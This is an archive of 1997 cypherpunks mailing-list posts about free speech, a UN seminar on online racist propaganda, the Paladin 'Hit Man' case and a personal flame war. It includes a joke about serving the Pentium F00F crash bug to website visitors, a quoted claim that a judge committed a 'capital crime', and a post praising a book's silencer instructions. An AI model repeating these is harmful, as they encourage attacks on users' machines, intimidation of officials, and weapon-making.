                        -       General discussion
                        -       Conclusion
#012#

Tuesday 11 November

Morning         Working session II.a

10:00 - 13:00           Item II: Technical Aspects of screening racist
propaganda on Internet: National measures

                        -       Keynote address by Mr. Timothy L. Jenkins,
Chairman of Unlimited Visions
                        -       General discussion
                        -       Conclusion

Afternoon               Working session II.b

15:00 - 18:00           Item III: Technical Aspects of screening racist
propaganda on                           Internet: international measures

                                -       Keynote address by Mr. Eric Lee,
                                Commercial Internet Exchange
                        -       General discussion
                        -       Conclusion


Wednesday 12 November

Morning         Working session III.a

10:00 -13:00            Item IV: Prohibition of Racist Propaganda on the
Internet: Juridical Aspects, National Measures

                        -       Keynote address by an expert of the
Department
of Justice, USA
                        -       General discussion
                        -       Conclusion

Afternoon               Working session III.b

15:00 - 18:00           Item V: Prohibition of Racist Propaganda on the
Internet: Juridical Aspects, International Measures

                        -       Keynote address by Mr. Agha Shahi, member
of the
Commitee on the Elimination of Racial Discrimination
                        -       General discussion
                        -       Conclusion

#012#
Thursday 13 November

Morning                 Working session IV.a

10:00 - 13:00           Item VI: Elements for an eventual Code of Conduct and
good practice for displaying material on Internet

                        -       Keynotes address by:
                                        Ms. Maya Sooka, Association for
Progressive Communication, Johannesburg
                        -       General Discussion
                        -       Conclusion

Afternoon               Working session IV.b

15:00 - 18:00           Item VI: Elements for an eventual Code of Conduct and
good practice for displaying material on Internet

                        -       Keynotes address by:
                                Mr. Tony Rutkowsky, former senior ITU
executive
                        -       General Discussion
                        -       Conclusion


Friday 14 November

Morning                 Free Time

Afternoon

15:00 - 18:00           Conclusions and Recommendations

                        Closing of the Seminar

                        -       Statement of the Chairperson
                        -       Final statement of the High Commissioner



        ------








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Wed, 12 Nov 1997 12:51:00 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: Br'er Tim and the Bug Hole (fwd)
Message-ID: <199711120444.WAA02100@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Tue, 11 Nov 1997 23:18:49 -0500
> From: Robert Hettinga <rah@shipwright.com>
> Subject: Re: Br'er Tim and the Bug Hole

> Remember my old Neitsche joke about the rabbits demanding their rights and
> the lions asking to see their claws? You, Tim, or anyone else we know, even
> those with arsenals :-), are but mere ferrets in comparison.

'mere ferrets'? You obviously don't know much about the predatory nature of
the mustella clan (ferrets, weasels, badgers, etc.). From a predator
stand-point they are excellent hunters, routinely killing prey *three* times
their body weight by themselves. By no means is that routine of predators of
any ilk other than felines (statisticaly hitting 70% kill rates on average,
dogs do good if they hit 40% in packs). You should do a little research into
mustella negripe, the American Black-footed Ferret (distantly related to the
European Ferret at best).

No, being a ferret is *not* an insult but rather a compliment. Pound for
pound if you got to pick a fight don't pick one with felines or mustellids
they *will* kick your weasy little butt.

And yes, I am a cat & ferret lover.


    ____________________________________________________________________
   |                                                                    |
   |    The financial policy of the welfare state requires that there   |
   |    be no way for the owners of wealth to protect themselves.       |
   |                                                                    |
   |                                       -Alan Greenspan-             |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Blanc <blancw@cnw.com>
Date: Wed, 12 Nov 1997 14:58:14 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Br'er Tim and the Bug Hole
Message-ID: <3.0.32.19971111225642.006a8a68@cnw.com>
MIME-Version: 1.0
Content-Type: text/plain



Robert Hettinga wrote:

>So, my overall point is, Tim, that you shouldn't try so hard to be a crash
>test dummy for the new world order. Throwing rocks at cop cars is great fun
>when you're say, 12, but doing it when you're 40 can do bad things to your
>permanent physical health in rather short order. Revolution is really a
>young man's game. I mean, even the IRA guys want to retire...
.....................................................


Not to cut into Tim's War here, but Bob -  

The Truth is everybody's "game".  If a person is content with a lot of
nonsenical static on their connection to Reality, it's their decision if
they wish to tolerate it - and it's true they could leave it to someone
else (younger? wiser? more courageous? better equipped?) to take up the
cause of cleaning it up. 

It is also true that one can create around oneself a Reality full of
monsters and tigers and bears (oh, my!), totally leaving out the rest of
the functioning elements in the actual context of the given circumstance.
A person could focus so exclusively on the evil which permeates the social
atmosphere, that they miss out on the opportunities available for achieving
improvements by normal, rational, peaceful means.  

(I read once that Steve Jobs, during his Eastern Mystic Religion phase and
his trips to India and such, realized that the introduction of and
advancement in certain innovative, industrial tools had done more for the
cause of civilization than any other efforts - political, religious, or
otherwise - to improve it.  When he went home he kept this in his
philosophical file as he went forth with his ideas on a computer which
would "change the world".  And he did have some very positive,
revolutionary effects on artists everywhere. :>) )  

Perhaps you mean that *violent* revolution is best left for the young.
But you must acknowledge that the situation *could* get really bad, as bad
as he imagines.   It may not be wise to threaten the mad dogs into
aggression, but there is value in publically identifying the fundamental
poisoning of the intellectual air we are breathing; there is no reason to
forfeit ground for the sake of the delicate sensibilities of predators in
sheep's clothing.  

Tim being so fortified with guns & ammo, he may feel more free than anyone
to speak fearlessly (carelessly?).   Of course, it's easier to display
courage when your defenses are established & strong (and he does sound like
a hammer looking for a nail).   

    ..
Blanc





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bureau42 Anonymous Remailer <nobody@bureau42.ml.org>
Date: Wed, 12 Nov 1997 07:21:33 +0800
To: cypherpunks@toad.com
Subject: Re: WARNING: Serious Pentium Bug
Message-ID: <q+SBQ0LrswuGagNQrYIGtw==@bureau42.ml.org>
MIME-Version: 1.0
Content-Type: text/plain



Ray Arachelian wrote:
> On Sat, 8 Nov 1997, [iso-latin-de] Heinz-Jürgen Keller wrote:
> > -----BEGIN PGP SIGNED MESSAGE-----
> > The german Chaos Computer Club distributes a Dos/Win binary (f00fc7c8.com,
> > 5 Bytes :-) ) and a linux version.
> > Have a look at http://www.ccc.de .

> So has anyone yet developed an ActiveX component of this? :) Heheheh...
> come to my site and watch your pentium crash. Heheheheheh!

Jeff Sandquist?
 
> =====================================Kaos=Keraunos=Kybernetos==============
> .+.^.+.|  Ray Arachelian    |Prying open my 3rd eye.  So good to see |./|\.
> ..\|/..|sunder@sundernet.com|you once again. I thought you were      |/\|/\
> <--*-->| ------------------ |hiding, and you thought that I had run  |\/|\/
> ../|\..| "A toast to Odin,  |away chasing the tail of dogma. I opened|.\|/.
> .+.v.+.|God of screwdrivers"|my eye and there we were....            |.....
> ======================= http://www.sundernet.com ==========================







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "wabe" <wabe@smart.net>
Date: Wed, 12 Nov 1997 12:29:54 +0800
To: <cypherpunks@toad.com>
Subject: Hmmm
Message-ID: <01bcef3a$154ada60$547f61ce@dave>
MIME-Version: 1.0
Content-Type: text/plain



So, just as a question, what COULD the FBI do,
if it saw a real possibility for organized crime
to get out of control if they no longer could do
wiretaps?  I have a friend in berlin who says
the Russian Mob is moving in there.  Scary.

What should the FBI say?  Is there even a 
Constitutional option?
_______________________________________
-wabe





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Wed, 12 Nov 1997 12:30:45 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Br'er Tim and the Bug Hole
In-Reply-To: <v03110741b08e51241192@[139.167.130.248]>
Message-ID: <v03110778b08e8b0ead48@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain



At 3:36 pm -0500 on 11/11/97, Tim May wrote:

> >Remind me not to lock myself up, all alone, with a bunch of live ammo and
> >almost no one to talk to but the internet, in an isolated hilltop
>    ^^^^^^^^^^^^^^^^^^^^^^
>
> Ad hominem becomes you, Bob.
>
> A variation of the old "get a life" put down of anyone whose opinions one
> disagrees with.

I call 'em as I see 'em, Tim. Actually, I would probably call what I said
there an "amateur psychological diagnosis". :-). Your mileage may vary.
That's what I get for indulging in the pseudoscience of psychology, I
suppose.

I *do* know what an ad hominem is, however, and you missed on that one. I
should note that there are quite a few in your reply below, if you're
interested in further elucidation of the concept...


Anyway, I was stating, in the quote above, my opinion about the possible
cause of your sense of impending doom, doom which I personally find to be
unfounded generally (see the quote in my .sig, below, for details), except,
of course, in unusual circumstances, which you seem intent on percipitating
upon yourself.

> So we're back to the old "if we won't restrain our opinions, Reno and Freeh
> will have to."

Fair enough. However, in an era of no-cost "technology transfers" of
military training and hardware to your local police, of marines shooting
down shepherds who are in the wrong place at the wrong time and thinking
nothing of it, and of the entrapment and armed seige of people who knock a
few inches off a shotgun, the saying "the squeaky wheel gets greased" is
probably truer now than ever.

Remember my old Neitsche joke about the rabbits demanding their rights and
the lions asking to see their claws? You, Tim, or anyone else we know, even
those with arsenals :-), are but mere ferrets in comparison. In that case,
I'd say it's better to be more clever, and to avoid, than to try to
confront, the lions.

> I say what I think.

And so you do. Lots of people do. In this country, they don't go to jail or
dissapear or get killed for it as easily as they do elsewhere, but you can
bet it happens.

Particularly when they threaten, even in an elliptical fashion, the lives
of people like judges. :-). Mr. Bell seems to be our canonical proof of
that result at the moment, and all he did was threaten the tax man.

Once you have their attention, all it takes is one trumped-up charge and,
with armed resistance to that charge, poof... One more "armed extremist"
goes away, constitution, due process, or no.

> Recently I was using my ComSec 3DES phone to talk privately (with one of
> those rare persons, according to Bob, that I talk to outside of the Net)
> with someone. He sent me later saying, "Nice talking to you this evening
> (afternoon, for you) and nice to be able to speak freely. What used to be
> taken for granted is now a
> luxury. <sigh>"

Glad to know that you can afford the luxury yourself. Buy a few more, and
drive the price down for the rest of us. :-).

Clearly, the nosy nation state has replaced the nosy switchboard operator,
and, yes, the consequences are much more serious, and I think both should
be defeated by technical, and not legal means. I also think that privacy is
more economical than surviellance, especially in finance.

Meanwhile, on a *recorded* prison telephone line, a cocaine kingpin makes
$400million arranging dope deals, in traceable phone calls to *Medellin*,
with complete impunity. All because there's just too much recorded
information to monitor it all, even on only three little prison phone
lines, for Club Fed to process.

And, to make my point again, you can bet that *all* this guy's phone calls
are listened to now, even if he did turn state's evidence when someone,
someone who was not listening to his calls, mind you, snitched on him.

So, remember Mongo, again. *If* you get his attention, he *will* punch your
horse's lights out. And, of course, if you shoot him, you'll make him mad.
It's funny, of course, but Idi Amin was funny, too. The problem is being
able to laugh at these guys from a safe distance, which is hard to do if
they now know who and where you are, and they've decided they don't like
you anymore. Fidel reached out and touched several people in the US in the
late 70's, for instance. One was in DC, right under some apparent federal
surviellance.

> More over the top nonsense from Bob.

Well, over the top, I'll except. It's what I'm good at, after all. :-).
"Nonsense" I would normally except also, but not in this case. Your first
ad hominem, by the way.

> I've done nothing that will "force a
> showdown." Precisely what crimes, Bob, have I committed? Cite a charge.
> Even a single one.

You've just threatened a judge in public, among other things, over the past
24 hours alone, and, even if you haven't done it "technically",
"technically" doesn't count when one of Mongo's bunch decides they have
"probable cause" to bust your door down, shoot their way in, and plant
"evidence" on your body. Or, more probably, like they did with the shepherd
kid in Texas, or Mrs. Weaver in Ruby, or Waco, or the preacher who died in
a no-knock here in Boston, they'll just say "Woops. Our mistake. Sorry.
Never mind."

> >On the other hand, Tim, I suppose, there *is* Bosnia as a prima facie
> >counterexample, and I bet that *that* little fandango probably started with
> >a bunch of "freedom fighters" like the one you fancy yourself to be these
> >days.
>
> More typical Bob Hettinga insult arguments. You ought to form a club with
> Kent Crispin, Detweiler, and Vulis.

Ah. Now *that* last bit was a genuine ad hominem. Congratulations. (Notice,
class, the direct attack on personal charactistics, without reference to
the merits of the argument at hand... Woops. So sorry. Double score, Tim.
An ad homenim, *with* a red herring thrown in. Score: 2 ad hominems, 1 Red
Herring)


Actually, Tim, I think you *do* fancy yourself a freedom fighter. Certainly
most of us think of you that way, these days. Clearly your comments lately
seem to indicate it. You've made veiled intimations of impending
confrontation for, well, months, now, if not longer. Your attempt to get
arrested when Clinton went to Stanford this fall, something about hoping to
refuse to identify yourself if asked by Secret Service, I think, is a good
example of this. More recently, your thinly disguised threats against
anyone with authority to throw you in jail is the same kind of thing. I
don't think there's any doubt that you're trying very hard, at least in
your conversations on the net, to test that arsenal of yours some evening.

More to the point, I think what I said about Bosnia makes perfect sense,
even if I don't believe it's going to happen. The net result of a
population forceably homogenized for more than 75 years and then armed is
something like Bosnia. In the case of the US, we have a population which
was homogeneous and armed, then gradually disarmed and "diversified" with
various political policies and subsidies. Now, if you rearm those people,
or more precisely, they rearm themselves in attempt to keep themselves from
being disarmed further (your posting yesterday about the gun show was a
case in point), we could get another Bosnia, or Somalia, or whatever.
Clearly it's better to let Americans keep their guns, and stop trying to
"diversify" them.

I mean, Stalin went out and deliberately created these "ethnic" republics
where none existed before, (or where at least the czars had done a
reasonable job of repressing ethnicity for centuries before that) and we
all know what that "diversity" program did to the Soviet Union after
communism, and even to Russia today in places like Chechnaya. Fortunately,
lots of the former Soviet "republics", Kazakhstan, Mongolia (though not
officially a Soviet republic still a vassal state), etc., are pretty
stable. Homogeneous populations, again.

Maybe, at some point, Americans will realize that they're more alike than
they're different -- as anyone who's gone to Europe or Africa will attest
-- this "diversity" stuff will be put aside, and whether they're armed or
not won't really matter. Certainly turn-of-20th-century America was armed
to the teeth, mostly homogeneous, and quite peaceable. The modern Swiss
are, as well.

However, I wonder what modern American "freedom fighters" are going to do
when they have the Talaban-like ability to hold turf at the point of a gun
and try to create the "homogeneity" of their preference, like they did in
Afganistan or Bosnia. May we live in interesting times, indeed.

And, *that's* what I was getting at, with the Bosnia as alternate model,
bit, above. Giving your implicit argument its due, I suppose, even though I
don't think it's going to happen in this country.

I think that communication and computers will eventually create stable, and
probably homogeneous, societies, without the need for nation-states, or
armed political/ethnic enclaves, or whatever. Force, like mass and energy,
will be conserved, but it won't be applied giant industrial glops, like we
do it today. :-).

Now, Tim, is over the top. Whether it's nonsense, of course, I leave for
others to judge.


So, my overall point is, Tim, that you shouldn't try so hard to be a crash
test dummy for the new world order. Throwing rocks at cop cars is great fun
when you're say, 12, but doing it when you're 40 can do bad things to your
permanent physical health in rather short order. Revolution is really a
young man's game. I mean, even the IRA guys want to retire...

Whoops. I used metaphors, with those rocks and crash test dummies. Gotta
watch that, because...

> You want to document a case where I've shoved a Mac-10 up anyone's nose,
> let alone a tree hugger?

The error of my metaphor coupled with your own deliberate literal
interpretation?  I thought so. Red Herring. (Score: 2 ad hominems, 2 red
herrings.) Besides, I sincerely doubt that you even *have* something as
cheezy as a Mac-10. :-).

> Or is talking now the same as shoving a gun in someone's nose? (You'd be
> surprised how many liberals think this is so, even some judges who just
> ruled against Evil Assault Literature.)

Ah. Now you understand the metaphor. I feel better now.

No, Tim, I think that liberals *will* see it as free speech. They just will
decide that some speech, to paraphrase Orwell, should be freer than other
speech. I think that the guys with guns that they hire to enforce their
pseudoscientific views of the world will just shoot you for pissing them,
maybe even their bosses, off.

That would be a drag. Heck, they probably won't be atavistic enough to call
it "treason", or something.

> Bob, get back on your medications.

Another ad hominem. (Score: 3 ad hominems, 2 red herrings)

> >Frankly, I liked Lazarus Long, or even old Farnham himself, a lot better.
> >Hell, even a better, more libertarian (Nazi uniforms? Sheesh^2...), remake
> >of "Starship Troopers" would be preferrable to the scipt you've written
> >yourself.
>
> I don't form or express my opinions to have you like me more than these
> fiction characters you're obsessed with.

Of course you don't.

However, it doesn't keep me from having opinions of my own about you,
either. :-). Or other folks having opinions about you. Including people who
agree with you, except when you insist on standing up to have your head
chopped off for lack of something better to do.

Most of us have seen that movie, and we don't like the ending.


> Get a life, Bob.

(Score: 4 ad hominems, 2 red herrings)

Wait... Is there an *echo* in here?

Cheers,
Bob Hettinga



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/
Ask me about FC98 in Anguilla!: <http://www.fc98.ai/>






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Krispin <kent@songbird.com>
Date: Wed, 12 Nov 1997 15:47:27 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Br'er Tim and the Bug Hole
In-Reply-To: <v03110741b08e51241192@[139.167.130.248]>
Message-ID: <19971111234121.21455@songbird.com>
MIME-Version: 1.0
Content-Type: text/plain



On Tue, Nov 11, 1997 at 11:18:49PM -0500, Robert Hettinga wrote:
> At 3:36 pm -0500 on 11/11/97, Tim May wrote:
> 
> > >Remind me not to lock myself up, all alone, with a bunch of live ammo and
> > >almost no one to talk to but the internet, in an isolated hilltop
> >    ^^^^^^^^^^^^^^^^^^^^^^
> > Ad hominem becomes you, Bob.
> >
> > A variation of the old "get a life" put down of anyone whose opinions one
> > disagrees with.
> 
> I call 'em as I see 'em, Tim. Actually, I would probably call what I said
> there an "amateur psychological diagnosis". :-). Your mileage may vary.
> That's what I get for indulging in the pseudoscience of psychology, I
> suppose.

Speaking of which...

I found it quite interesting to note Tim's reaction when Igor poked
fun of him.  You may recall that Igor baited the trap by innocently
asking about the "technical" nature of Tim's "defense system", then
gently drawing it a little tighter with some droll comments about 
fighting off the assault forces when you were sleeping in the nude.  
By the time Tim realized he had been suckered a rollicking funny 
thread developed, and at least some of the humor was clearly at Tim's 
expense. 

Shortly thereafter Tim started laying down heavy angry shit -- recall
the post about the bleached bones of the demonstrators being left to
starve, handcuffed to the LLNL fences?...and the angry character of his
posts has continued to the present.

This is part of Tim's personal appeal, I guess -- it's obvious that
beneath all the bluster is a very fragile ego that is easily wounded.  
There are other signs, as well -- you mention them:  the dark 
hints about great and fearsome things to come, the recurring oblique 
comparisons between himself and the "founding fathers", the "I dare 
you" runs against the limits of legal safety.

Tim, like many, rationalizes his simmering anger by blaming it all on
the "bastids in the gubmit".  But it doesn't take much insight to see 
that there is something a little deeper going on, something a little 
sad. 
[...]

> > More typical Bob Hettinga insult arguments. You ought to form a club with
> > Kent Crispin, Detweiler, and Vulis.
> 
> Ah. Now *that* last bit was a genuine ad hominem. 

Sure was!

[....]

> > Get a life, Bob.
> 
> (Score: 4 ad hominems, 2 red herrings)
> 
> Wait... Is there an *echo* in here?


Kent "The Toto Mongrel Made Me Do It" Krispin





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Wed, 12 Nov 1997 07:12:12 +0800
To: cypherpunks@toad.com
Subject: Re: 1st Ammendment Tossed in Paladin Case
Message-ID: <199711112252.XAA26901@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Tim May wrote:
> At 9:42 AM -0700 11/11/97, Eric Cordian wrote:
> >A three-judge panel of the 4th U.S. Circuit Court of Appeals denied
> >First Amendment protection to ``Hit Man: A Technical Manual for
> >Independent Contractors,'' saying publisher Paladin Press knew it
> >would be used by murderers.
> >
> >The book was sold to James Edward Perry, who was convicted of killing
> >Mildred Horn; her disabled 8-year-old son, Trevor; and the son's
> >nurse, Janice Saunders, in Silver Spring, Md., in 1993. The women were
> >shot between the eyes and the boy's respirator was unplugged.
 
> Having skimmed the "Hit Man" book, I can tell you it conveyed no unique
> information about how to shoot someone between the eyes and unplug a
> respirator.

If I recall correctly, it suggests the back of the neck/head as the 
Miss Murderer proper point of entry for small projectiles.

The instructions on how to build a silencer were very useful, but
neglected to mention that being smart enough to follow the instructions
didn't necessarily mean you were smart enough to use it properly.
A word of advice...if you forget to take the steel rod used to align
the silencer out of the barrel before you use it, it stings like a
bitch when you shoot.
 
> If this Paladin case is not overturned, it will mean the "death through
> lawsuits" of nearly all publishers of even slightly controversial material.
> Loompanics will go, Delta Press will go, etc. "Unintended Consequences"
> will be withdrawn by the publisher and the author will be sued. "The Turner
> Diaries" will become a contraband item.

I wonder if any kids reading the Bible have murdered big guys by using
a slingshot? Sounds like a case for censorship, to me.
 
> And why not sue other publishers and bookstores? Maybe a book on abortions
> helped a woman perform an illegal abortion. Maybe a book about fighting for
> liberty provided "abstract advocacy speech so explicit in its palpable
> entreaties to violent crime" (and so it is unprotected, according to the
> courts).

Perhaps the British could launch a class-action suit against the author
of the Star-Spangled Banner, and have it banned. They could use Jimi
Hendrix's Woodstock version to work the jury into an emotional frenzy
against it as an anthem for drug-addicted freaks.

> But in many ways, this is good news. The war is coming faster than I thought.

 <muffled explosions in the background>
 
> The judge in this case has committed a capital crime.

Better have our fearless leader, Jim Bell, convene a Melatonin People's
Court, immediately. (The rest of you guys signed and returned the 
'secret oath' that Jim sent last week, too, didn't you?) 

:: B o o t s






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>
Date: Wed, 12 Nov 1997 14:00:34 +0800
To: Jim Choate <ravage@ssz.com>
Subject: Here Come De' UN Train... / Re: UN Conference - Limits on Internet speech [CNN]
In-Reply-To: <199711120300.VAA00603@einstein.ssz.com>
Message-ID: <34694472.7C8F@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



Jim Choate wrote:
> >                U.N. CONFERENCE DEBATES LIMITS ON INTERNET SPEECH
> >
> >      GENEVA (AP) -- Concerned at the growing use of the Internet for
> >      racist propaganda, international experts are debating how -- and
> >      whether -- to combat the spread of computerized hate messages.
...
> >      "Are we going to say the Internet should be exempt from any kind of
> >      compliance with the rules of international behavior?" he asked.

  Any guesses as to how many microseconds it is going to take the
fascist
censors in the US to start waving the United Nations flag when they
realize the advantage of having the World Press join them in castigating
'bad' Americans for their 'bad' behavior?
  We may have to ban freedom of speech (for starters), but "If it saves
the life of just one goat-herder's child in Lower Slobovia..."

  Does everyone remember voluntary-mandatory "Drive 55?"
  "You don't _have_ to make it a law in your state, but then you won't
get back the extra money we take from your state's citizens in order to
to hold it hostage for their state's 'bad behavior.'"
  Anyone ever have the paymaster tell them that an extra 10% of their
paycheck was being held, but you could have it if you kissed his ass?
I bet if you think long enough, you can come up with a parallel (and
*real*) example in your life.
  These same workplace and government squeezes will apply equally to
the burdgeoning global marketplace/economy.

  (Once Canada rules WebWorld, I expect everyone to be in compliance
   with my rule of International behavior which requires everyone
   to wear parkas during 'our' winter.)

> >      It is widely agreed that the Internet offers an open platform for
> >      racists and white supremacists, although nothing has proved this
> >      leads to a related rise in racist incidents.

  Where's the broad who found the dirty picture/brain damage study for
us?
Dime to a dollar, she's enroute to the UN building, even as we type.

> >      Under the U.S. Constitution, which guarantees free speech, these
> >      groups are permitted to post their views on the Internet, which can
> >      be accessed by people in other countries.

  I just finished raising/razing this issue in another post (perhaps
under
one of my devilishly clever 'other brother, Anonymous' personas) only to
find that I have, once again, been outflanked by an attack from the real
world, where what I am using my psychic powers to predict is already
taking place.
  An earlier post by Tim eloquently stated what most of us probably
already know, but were hoping no one would mention, so that we could
pretend that it's all going to be OK, as long as daddy tucks us in
and leaves the nightlite on...the ever-nefarious 'they' are dumping
it faster than we can shovel it.
  (And if we shovel faster, they will raise our taxes, so that they
   can buy more dump trucks, and we can buy fewer shovels.)

PLATITUDE ALERT!!! 
"Just when I started winning the rat race, they brought in faster rats."

  Sorry, but there is just so much happening, on so many fronts, that
brain lock is setting in and I will soon be reduced to responding to
important issues only with a blank stare and bad cliches.
<no wisecracks, please>

  I agree with Tim (whether he said yet it, or not) that the 'feared'
is quickly becoming the 'undeniable.' The speed and volume of the 
'openly blatant' lies and increasingly recognizable 'hidden agendas'
is reaching a point where I am tempted to show my Crayola Conspiracy
Charts (TM) to the normal folks down at the bar and see if they
finally start nodding their heads, instead of laughing riotously.
  It's damn near like a good horror movie, where the nice people are
all still laughing and drinking champagne, but the darkly disturbing
cello sounds in the background are being emmitted with increasing
frequency, like the growing birth pains of the bewildered lady
who is about to give birth to the CypherPunk From Hell.
  ("We plan to name the baby Dimitri, if it's a boy, and Kent, if 
    it's a girl. <sorry--couldn't resist>)

> >      Although European countries like Sweden have moved toward making
> >      Internet service providers responsible for the content they supply,
> >      such restrictions are unlikely in the United States, and hence,
> >      internationally.

  Ever hear of Trade Wars? What if your business counts on your email
being received promptly businesses in Sweden, where the government,
or their own ISP, is threatening to do source blocking unless your
employee takes down his 'Swedish Jokes' web site?
  I lived in a Ukranian town where everyone told Polish jokes. I moved
to a Polish town and the same jokes were Ukrainian jokes. Nobody shot
one another over it, and anyone offended would likely get an apology.
  Now, it may well be that I or you could be imprisoned for telling
what now probably qualifies as 'hate speech' in Canada, Land of the
Strong and the Free (but not free to tell 'racist' jokes...or own
a handgun...or...ad infinitum).
  I used to tell a joke about the Ukrainian renting an outhouse for
$300/month, and getting a good deal, because he could rent the
'basement' out to a Swede for $150. Now, even though I have some
Swedish blood coursing through my veins, I would still be a 
criminal for posting it on my web site.

  I can envision finding myself in the same position as Arlo Guthrie
in Alice's Restaurant, telling my fellow inmates, murderers, rapists,
and armed robbers, every one, that I'm doing time for the literary
equivalent of littering. 
  "Yeah man, I'm doing a deuce for Swedish jokes."

  Fucking hilarious, ain't I? Almost as funny as the woman in Tucson
who owned an everyday photography/art store, and got busted and had 
her business shut down and searched because she had a cute picture of
her naked baby boy playing with a rubber chicken.
  I have no doubt that there are equally scary real-life examples of
the same thing in regard to Canada's hate laws. Maybe even a Swedish
joke bust or two.

  Perhaps I am ranting but, to tell the truth, I find the 'little'
examples of daily fascist censorship/insanity every bit as scary as
the big, important things discussed on the list, such as the UN
moves toward putting an end to behavior that is 'bad' according to
International standards. Maybe even _more_ scary, because the examples
of Bob, who lives down the road, and Alice, who works as a cypherpunks
theories model for C2Net, bring the New World Order a step closer to
home when we hear their doors being kicked in.
  We are like the chickens in the henhouse, who have learned to live
with the occassional midnight raid by the fox who has, thus far,
never ventured to our end of the roost. However, things have gotten
to the point where there are more foxes and fewer chickens, and
many of us have begun nervously counting the number of chickens
left between us and the foxes. (Not that we wish them any harm...)
  Maybe, if we remain quiet and still, not making any aggressive
moves, the foxes won't...
  Right!

> >      "It's difficult if not impossible to suppress content on the Web
> >      because there are so many ways to evade controls," Lee said. "Which
> >      does not mean that one should not take steps to limit behavior, but
> >      coming up with foolproof controls is virtually impossible."

  Yes, and that is why 'stiffer penalties' will be required in order
to enforce the rules against 'bad' behavior.
  Everyone who thinks that the Fascists will surrender because it is
just too damn much work to oppress the Free without the proper tools,
Do Not Pass Go, Do Not Collect Your Daily Government Ration of Rice.

  Show me the legislation proposing to require parents to accept
responsibility for purchasing available software to protect their
children, or give up the right to whine and bitch about what their
children choose to access on the WWW.
  Show me the government funds being diverted from weapons programs
to encourage the development of software which will allow blocking
by choice, without infringing on the right of others to enjoy their
choice of visiting the sites others block.

  In every imaginable corner of government and society, the battle
cry of the Fascist Censors has been, "More laws...stiffer penalties
...more prisons."
  Now the Foxes are making loud proclaimations about how they have
no intention of eating the free-range InterNet Chickens. As a matter
of fact, they have every aim of helping us to build henhouses, for
our own protection...

  Excuse me, but I have to go buy a varmint gun...

TruthMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Paul Feldman" <p.feldman@mailexcite.com>
Date: Wed, 12 Nov 1997 16:33:40 +0800
To: cypherpunks@toad.com
Subject: Search engine supporting SSL
Message-ID: <IABHGFAAPJODDAAA@mailexcite.com>
MIME-Version: 1.0
Content-Type: text/plain



Hi all,
is there a search engine around supporting SSL ? this will let one hide it's requests
to search engines from malicious eyes :)
-- Paul






Free web-based email, Forever, From anywhere!
http://www.mailexcite.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 12 Nov 1997 14:03:35 +0800
To: cypherpunks@toad.com
Subject: Re: Br'er Tim and the Bug Hole
In-Reply-To: <v03110778b08e8b0ead48@[139.167.130.248]>
Message-ID: <ekJ2Fe10w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Robert Hettinga <rah@shipwright.com> writes:
> I mean, Stalin went out and deliberately created these "ethnic" republics
> where none existed before, (or where at least the czars had done a
> reasonable job of repressing ethnicity for centuries before that) and we

Bzzt!  Armenians killed 2 million Moslems under the tzars.

In 1918, the borders of the newly independent state of the Ukraine were defined
by the occupying Germans as "the farthest the German army reached East", which
is how borders were often defined historically, but then Stalin pretended that
it had something to do with an "ethnic" Uke republic.

> all know what that "diversity" program did to the Soviet Union after
> communism, and even to Russia today in places like Chechnaya. Fortunately,
> lots of the former Soviet "republics", Kazakhstan, Mongolia (though not
> officially a Soviet republic still a vassal state), etc., are pretty
> stable. Homogeneous populations, again.

I suggest you look up a standard reference, like the CIA world book, before
trying to show off your phoney expertise and looking like an ignorant fool.
Almost half of Kazakhstan's population are Russians and Ukrainians (many
of them moved there after Kazakhstan's borders were drawn). They're not
shooting right now, although there has been occasional interethnic violence
already (aimed not at Russians, but at some of the ethnic minorities that
Stalin forcibly exciled to Kazakhstan after WWI). "Homogeneous" my ass.
They're certain to have either a civil war (if the Slavs want to rejoin
Russia and the Moslems want an Islamic state) or have a real shooting war
with one or more neighbors over the Caspian oil within 30 years.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Paul Feldman" <p.feldman@mailexcite.com>
Date: Wed, 12 Nov 1997 16:48:57 +0800
To: cypherpunks@toad.com
Subject: Secure HTTP proxying
Message-ID: <NEEECPNEGFPDDAAA@mailexcite.com>
MIME-Version: 1.0
Content-Type: text/plain



Hi,
do someone knows if there is any browser which uses SSL to contact a HTTP proxy ?

